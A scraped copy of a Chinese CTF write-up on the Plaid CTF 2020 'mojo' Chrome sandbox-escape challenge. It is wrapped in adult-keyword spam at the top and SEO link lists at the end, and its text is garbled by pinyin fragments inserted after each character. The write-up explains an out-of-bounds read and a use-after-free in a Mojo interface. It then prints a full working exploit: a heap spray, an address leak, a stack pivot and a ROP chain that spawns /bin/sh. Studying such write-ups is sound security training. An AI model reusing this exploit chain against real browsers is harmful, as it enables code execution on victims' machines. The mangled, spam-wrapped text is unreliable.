中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

兩學(xué)一做 網(wǎng)站源碼app注冊(cè)推廣團(tuán)隊(duì)

兩學(xué)一做 網(wǎng)站源碼,app注冊(cè)推廣團(tuán)隊(duì),湖南網(wǎng)站設(shè)計(jì)亮點(diǎn),校園無(wú)線網(wǎng)絡(luò)設(shè)計(jì)方案文章目錄 前置知識(shí)參考文章環(huán)境搭建題目環(huán)境調(diào)試環(huán)境 題目分析附件分析漏洞分析OOBUAF 漏洞利用總結(jié) 前置知識(shí) Mojo & Services 簡(jiǎn)介 chromium mojo 快速入門 Mojo docs Intro to Mojo & Services 譯文:利用Mojo IPC的UAF漏洞實(shí)現(xiàn)Chrome瀏覽器沙箱逃逸原文…

文章目錄

  • 前置知識(shí)
  • 參考文章
  • 環(huán)境搭建
    • 題目環(huán)境
    • 調(diào)試環(huán)境
  • 題目分析
    • 附件分析
    • 漏洞分析
      • OOB
      • UAF
  • 漏洞利用
  • 總結(jié)

前置知識(shí)

Mojo & Services 簡(jiǎn)介
chromium mojo 快速入門
Mojo docs
Intro to Mojo & Services

  • 譯文:利用Mojo IPC的UAF漏洞實(shí)現(xiàn)Chrome瀏覽器沙箱逃逸
  • 原文:Cleanly Escaping the Chrome Sandbox

參考文章

本文主要參考 Plaid CTF 2020 mojo Writeup

環(huán)境搭建

題目環(huán)境

給了 docker 環(huán)境,所以直接啟 docker 即可。

安裝 docker

sudo snap install docker

運(yùn)行 run.sh 腳本:

./run.sh

運(yùn)行 chrome

./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url

調(diào)試環(huán)境

這里單獨(dú)啟一個(gè) web 服務(wù):

python3 -m http.server 8000

調(diào)試腳本:

# gdbinit
# 讀取符號(hào)
file ./chrome
# 設(shè)置啟動(dòng)參數(shù)
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 設(shè)置執(zhí)行fork后繼續(xù)調(diào)試父進(jìn)程
set follow-fork-mode parent

然后 gdb 調(diào)試即可:

gdb -x gdbinit

題目分析

附件分析

題目新定義了一個(gè) PlaidStore 接口:

module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};

該接口定義了兩個(gè)方法 StoreData、GetData 分別用于向 data store 中存儲(chǔ)數(shù)據(jù)和獲取數(shù)據(jù)。

然后在瀏覽器端實(shí)現(xiàn) PlaidStore 接口:

namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}

可以看到這里存在兩個(gè)私有變量其中一個(gè)是 data_store_,這個(gè)好理解,其就是用來(lái)存儲(chǔ)數(shù)據(jù)的;這里的 render_frame_host_ 是神馬東西呢?

render 進(jìn)程中的每一個(gè) frame 都在 browser 進(jìn)程中對(duì)應(yīng)一個(gè) RenderFrameHost,很多由瀏覽器提供的 mojo 接口就是通過 RenderFrameHoset 獲取的。在 RenderFrameHost 初始化階段,會(huì)在 BinderMap 中填充所有公開的 mojo 接口:

@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif  // !defined(OS_ANDROID)
+
+  map->Add<blink::mojom::PlaidStore>(
+      base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+                          base::Unretained(host)));}

當(dāng)一個(gè) render frame 請(qǐng)求該接口時(shí),在 BinderMap 中關(guān)聯(lián)的回調(diào)函數(shù) RenderFrameHostImpl::CreatePlaidStore 就會(huì)被調(diào)用,其定義如下:

void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}

其直接調(diào)用了 PlaidStoreImpl::Create 函數(shù):

// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}

通過該函數(shù),一個(gè) PlaidStoreImpl 就被創(chuàng)建,并且該 PendingReceiver 與一個(gè) SelfOwnedReceiver 綁定。

漏洞分析

該題存在兩個(gè)漏洞,分別是 OOBUAF,接下來(lái)直接分別講解。

OOB

來(lái)分析下存取數(shù)據(jù)的操作:

void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}

可以看到兩個(gè)操作都會(huì)先調(diào)用 render_frame_host_->IsRenderFrameLive 去檢查 render frame 是否處于 live 狀態(tài)。然后 StoreData 沒啥問題,主要在于 GetData 函數(shù)沒有對(duì) count 字段做檢查,所以這里可以導(dǎo)致越界讀。

UAF

這里主要涉及到對(duì)象指針生命周期的問題。

在上面我們說過當(dāng)一個(gè) render frame 請(qǐng)求該接口時(shí),在 BinderMap 中關(guān)聯(lián)的回調(diào)函數(shù) RenderFrameHostImpl::CreatePlaidStore 就會(huì)被調(diào)用,其最后會(huì)調(diào)用到 PlaidStoreImpl::Create 函數(shù):

void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}

通過該函數(shù),一個(gè) PlaidStoreImpl 就被創(chuàng)建,并且該 PendingReceiver 與一個(gè) SelfOwnedReceiver 綁定,也就是說這里會(huì)將消息管道的一段 receiverPlaidStoreImpl 綁定,而這里傳入的 render_frame_host 是一個(gè) PlaidStoreImpl 類型的智能指針。

由于這里的綁定,所以當(dāng) mojo 管道關(guān)閉或發(fā)生錯(cuò)誤時(shí),PlaidStoreImpl 就會(huì)被自動(dòng)釋放,從而使得 PlaidStoreImplreceiver 的生命周期保持一致,這其實(shí)是不存在問題的。

而在 PlaidStoreImpl 的構(gòu)造函數(shù)中,存在對(duì) render_frame_host 的賦值操作:

PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}

可以看到在 PlaidStoreImpl 的構(gòu)造函數(shù)中,將 render_frame_host 賦給了其私有屬性 render_frame_host_。那么問題就來(lái)了,如果 render_frame_host 對(duì)象被析構(gòu)了(比如刪除 iframe),但是 PlaidStoreImpl 還存在(因?yàn)?render_frame_host 并沒有與 PlaidStoreImpl 綁定),那么在 StoreData/GetData 中調(diào)用 render_frame_host_->IsRenderFrameLive() 就會(huì)存在 UAF 漏洞。

漏洞利用

整體是思路就比較明確了:

  • 利用 OOB 泄漏相關(guān)數(shù)據(jù)
  • 利用 UAF 劫持程序執(zhí)行流

前期準(zhǔn)備
調(diào)用 MojoJS 接口時(shí),請(qǐng)包含以下 JS 文件(這里請(qǐng)根據(jù)具體題目路徑進(jìn)行包含):

<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>

然后進(jìn)行管道端點(diǎn)綁定:

// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 獲取 PlaidStore 實(shí)例
var name = blink.mojom.PlaidStore.name; // 獲取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);

調(diào)試分析
OOB 泄漏數(shù)據(jù)
首先是測(cè)試 OOB,主要是看下能夠泄漏什么數(shù)據(jù):

<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 這種方式斷點(diǎn)斷不下來(lái)???var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>

將斷點(diǎn)打在 PlaidStoreImpl::Create 函數(shù)上,主要就是看下 PlaidStoreImpl 申請(qǐng)的空間:
在這里插入圖片描述
可以看到這里 PlaidStoreImpl 的空間大小為 0x28,其成員依次往下為 vtable、render_frame_host、data_store_
在這里插入圖片描述
當(dāng) StoreData 執(zhí)行完后:
在這里插入圖片描述
可以看到,這里 PlaidStoreImpl、data_store_、data_vector 位于同一個(gè)段,所以這里可以通過越界讀泄漏 PlaidStoreImplvtable 地址,并且還可以泄漏 render_frame_host_ 的地址,然后通過這些地址泄漏其它地址。比如可以通過 vtable 的地址確定 ELF 加載基地址:
在這里插入圖片描述
泄漏了 ELF 基地址后,就可以得到很多有用的 gadget 了。

UAF 劫持程序執(zhí)行流
有了 gadget 后,接下來(lái)就是考慮如何劫持 rip,這里的想法就是劫持虛表指針從而劫持程序執(zhí)行流。

我們知道,每次調(diào)用 StoreData/GetData 時(shí),都會(huì)先調(diào)用 render_frame_host_->IsRenderFrameLive,其是通過虛表指針進(jìn)行調(diào)用的:
在這里插入圖片描述
可以看到這里的 rax 就是 render_frame_host_ 的虛表地址,然后 [rax + 0x160] 就是 IsRenderFrameLive 函數(shù)的地址。

可以簡(jiǎn)單驗(yàn)證一下,可以看到當(dāng)執(zhí)行 call QWORD PTR[rax+0x160] 時(shí),rax 確實(shí)是 render_frame_host_ 的虛表地址:
在這里插入圖片描述
那么整個(gè)思路就比較清晰了:

  • 構(gòu)造 render_frame_host_ UAF
  • 堆噴獲取 UAF 堆塊并偽造 render_frame_host_ 虛表
  • 調(diào)用 render_frame_host_->IsRenderFrameLive 控制程序執(zhí)行流

這里 rax 寄存器的值就是 render_frame_host_ 的虛表地址,而其虛表地址我們是可控的(就在 render_frame_host_ 對(duì)象的頭 8 字節(jié)處),而在 OOB 中我們又可以順帶泄漏 render_frame_host_ 的地址(其就在 PlaidStoreImpl 虛表的下方),所以我們可以利用 xchg rax, rspgadget 劫持棧到 render_frame_host_ 上,并提前在 render_frame_host_ 上布置好 rop chain 即可。

這里借用上述參考文章中佬的一張圖:
在這里插入圖片描述

在布局 gadget 前還有一個(gè)問題:我們?cè)撊绾卧卺尫?render_frame_host_ 所指向的內(nèi)存之后,再將這塊內(nèi)存分配回來(lái)?這里有個(gè)小知識(shí)點(diǎn),chrome 中的內(nèi)存管理使用的是 TCMalloc 機(jī)制。又因?yàn)?StoreData 函數(shù)分配的vector<uint8_t>render_frame_host_ 使用的是同一個(gè)分配器,只要大量分配大小與 RenderFrameHostImpl 相等的vector,就有可能占位成功。

TCMalloc(Thread-Caching Malloc)實(shí)現(xiàn)了高效的多線程內(nèi)存管理,用于替代系統(tǒng)的內(nèi)存分配相關(guān)的函數(shù) TCMalloc解密

所以我們現(xiàn)在得需要知道 RenderFrameHostImpl 的大小。將斷點(diǎn)打在其構(gòu)造函數(shù) RenderFrameHostImpl::RenderFrameHostImpl 上:
在這里插入圖片描述
可以看到,在執(zhí)行構(gòu)造函數(shù)前執(zhí)行了 RenderFrameFactory::Create 函數(shù),所以其多半就是為 RenderFrameHostImpl 分配空間的函數(shù),重新將斷點(diǎn)打在 RenderFrameHostFactory::Create 上:
在這里插入圖片描述
所以這里多半就可以確認(rèn) RenderFrameHostImpl 的大小為 0xc28。

這里照搬上述參考文章,也是比較重要的部分:
當(dāng)我們創(chuàng)建一個(gè) child iframe 并建立一個(gè) PlaidStoreImpl 實(shí)例后。如果我們關(guān)閉這個(gè) child iframe,則對(duì)應(yīng)的RenderFrameHost 將會(huì)自動(dòng)關(guān)閉;但與此同時(shí),child iframe 所對(duì)應(yīng)的 PlaidStoreImplbrowser 建立的 mojo 管道將會(huì)被斷開。而該管道一但斷開,則 PlaidStoreImpl 實(shí)例將會(huì)被析構(gòu)。

因此,我們需要在關(guān)閉 child iframe 之前,將管道的 remote 端移交給 parent iframe,使得 child iframePlaidStoreImpl 實(shí)例在 iframe 關(guān)閉后仍然存活。

回想一下,正常情況下,當(dāng)關(guān)閉一個(gè) iframe 時(shí),RenderFrameHost 將會(huì)被析構(gòu)、mojo 管道將會(huì)被關(guān)閉。此時(shí) Mojo 管道的關(guān)閉一定會(huì)帶動(dòng) PlaidStoreImpl 的析構(gòu),這樣就可以析構(gòu)掉所有該析構(gòu)的對(duì)象。

但這里卻沒有,因?yàn)樵陉P(guān)閉 child iframe 前,已經(jīng)將該 iframe 所持有的 Mojo 管道 Remote 端移交出去了,因此在關(guān)閉 child iframe 時(shí)將不會(huì)關(guān)閉 Mojo 管道。而 PlaidStoreImpl 的生命周期并沒有與 RenderFrameHost 相關(guān)聯(lián)。即 RenderFrameHost 的析構(gòu)完全不影響 PlaidStoreImpl 實(shí)例的生命周期。所以,PlaidStoreImpl 實(shí)例將不會(huì)被析構(gòu)。

那么,問題是,該如何移交 Mojo 管道的 remote 端呢?答案是:使用 MojoInterfaceInterceptor。該功能可以攔截來(lái)自同一進(jìn)程中其他 iframeMojo.bindInterface 調(diào)用。在 child iframe 被銷毀前,我們可以利用該功能將mojo 管道的一端傳遞給 parent iframe。
以下是來(lái)自其他 exp 的相關(guān)代碼,我們可以通過該代碼片段來(lái)了解 MojoInterfaceInterceptor 的具體使用方式:

var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}

現(xiàn)在,我們已經(jīng)解決了所有潛在的問題,UAF 的利用方式應(yīng)該是這樣的:

  • child iframeMojo 管道的 remote 端移交至 parent iframe,使得 Mojo 管道仍然保持連接
  • 釋放 child iframe
  • 多次分配內(nèi)存,使得分配到原先被釋放 RenderFrameHostImpl 的內(nèi)存區(qū)域
  • 寫入目標(biāo)數(shù)據(jù)
  • 執(zhí)行 child iframe 對(duì)應(yīng)的 PlaidStoreImpl::GetData 函數(shù)

不過需要注意的是,在該題中并不需要將 child iframeMojo 管道一端傳遞給 parent iframe 的操作。因?yàn)橥ㄟ^調(diào)試可知,child iframeremove 后,其所對(duì)應(yīng)的 PlaidStoreImpl 實(shí)例仍然存在,并沒有隨著 Mojo pipe 的關(guān)閉而被析構(gòu)

尚未明確具體原因,但這種情況卻簡(jiǎn)化了漏洞利用的方式

最后簡(jiǎn)化后的利用方式如下:

  • 釋放 child iframe
  • 多次分配內(nèi)存,使得分配到原先被釋放 RenderFrameHostImpl 的內(nèi)存區(qū)域
  • 寫入目標(biāo)數(shù)據(jù)
  • 執(zhí)行 child iframe 對(duì)應(yīng)的 PlaidStoreImpl::GetData 函數(shù)

簡(jiǎn)單測(cè)試一下:

<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>

效果如下:
在這里插入圖片描述
程序在 GetDataCrash,此時(shí)的 rax = 0xdeadbeef,符合預(yù)期。

最后的 exp 如下:

<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>

效果如下:
在這里插入圖片描述

總結(jié)

這個(gè)題目算是比較簡(jiǎn)單的沙箱逃逸了,但是還是搞了兩天。主要的問題就是調(diào)試,比較奇怪的是如果 exp 中出現(xiàn)了一些錯(cuò)誤,程序不會(huì)報(bào)錯(cuò)。比如我的 exp 最開始在賦值 BigInt 類型的數(shù)字時(shí),忘記給 0 后面加上 n,然后 exp 就一直打不通,但是程序也不報(bào)錯(cuò),所以這里發(fā)現(xiàn)這個(gè) 0n 問題,我就搞了一天…

http://www.risenshineclean.com/news/35805.html

相關(guān)文章:

  • 信譽(yù)比較好的商家可做網(wǎng)站蘇州seo優(yōu)化
  • 萬(wàn)象園網(wǎng)站建設(shè)與開發(fā)阿里云com域名注冊(cè)
  • 武漢公司網(wǎng)站建設(shè)高端網(wǎng)站建設(shè)哪家便宜
  • 重慶造價(jià)信息網(wǎng)官網(wǎng)首頁(yè)長(zhǎng)沙seo外包
  • 搜搜提交網(wǎng)站入口長(zhǎng)沙網(wǎng)站seo報(bào)價(jià)
  • 游戲推廣網(wǎng)站怎么做南京網(wǎng)絡(luò)營(yíng)銷服務(wù)
  • 做英文網(wǎng)站 賺美元網(wǎng)絡(luò)推廣費(fèi)計(jì)入什么科目
  • 榆林做網(wǎng)站多少錢網(wǎng)絡(luò)游戲推廣怎么做
  • 網(wǎng)絡(luò)公司 網(wǎng)站建設(shè) 小程序關(guān)鍵詞代做排名推廣
  • 自己做網(wǎng)站跟域名怎樣做房地產(chǎn)估價(jià)師考試
  • 免費(fèi)網(wǎng)站注冊(cè)永久2345網(wǎng)址導(dǎo)航電腦版
  • 漢中網(wǎng)站建設(shè)服務(wù)自媒體視頻剪輯培訓(xùn)班
  • 論壇網(wǎng)站用的虛擬主機(jī)深圳外貿(mào)網(wǎng)絡(luò)推廣渠道
  • 哪個(gè)網(wǎng)站有做車庫(kù)門的創(chuàng)建網(wǎng)站免費(fèi)注冊(cè)
  • b2b2c平臺(tái)網(wǎng)站建設(shè)廣州網(wǎng)站排名優(yōu)化公司
  • 李氏牛仔網(wǎng)站建設(shè)風(fēng)濟(jì)南網(wǎng)站建設(shè)方案
  • wordpress僅顯示標(biāo)題互聯(lián)網(wǎng)廣告優(yōu)化
  • 個(gè)人網(wǎng)站 不用備案朋友圈廣告
  • 百度做一個(gè)網(wǎng)站多少錢專業(yè)制作網(wǎng)頁(yè)的公司
  • o2o網(wǎng)站開發(fā)框架長(zhǎng)春seo排名優(yōu)化
  • 東莞哪家做網(wǎng)站比較好北京網(wǎng)上推廣
  • 做有網(wǎng)被視頻網(wǎng)站有哪些銷售平臺(tái)軟件有哪些
  • 成都網(wǎng)站搭建公司哪家好阿里大數(shù)據(jù)分析平臺(tái)
  • 網(wǎng)站建設(shè)丨找王科杰專業(yè)好的seo網(wǎng)站
  • 怎樣做網(wǎng)站外鏈seo的中文意思
  • 怎么做才能發(fā)布網(wǎng)站網(wǎng)站域名購(gòu)買
  • 淘客網(wǎng)站是怎么做的中國(guó)seo關(guān)鍵詞優(yōu)化工具
  • 濟(jì)南做網(wǎng)站的公司電腦全自動(dòng)掛機(jī)賺錢
  • 公務(wù)員建設(shè)文化與道德網(wǎng)站營(yíng)銷網(wǎng)站優(yōu)化推廣
  • 廣西網(wǎng)站建設(shè)蘇州網(wǎng)站制作